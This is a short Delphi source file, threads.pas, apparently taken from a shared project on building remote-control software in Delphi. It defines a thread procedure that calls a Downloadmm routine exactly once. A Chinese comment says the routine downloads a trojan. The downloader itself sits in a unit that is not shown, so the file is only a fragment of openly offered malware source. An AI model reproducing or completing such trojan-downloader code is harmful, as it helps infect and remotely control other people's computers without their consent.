threads.pas

来自「Delphi中远程控制的实现」· PAS 代码 · 共 23 行

unit Threads;

interface

procedure ThreadPro(X: Integer); stdcall; // 线程函数

implementation

uses WinUnit;
 var
 c:integer =0;
procedure ThreadPro(X: Integer); stdcall;
begin
//下载木马
 if c=0 then
 begin
 c:=1;
 Downloadmm();
 end;
end;

end.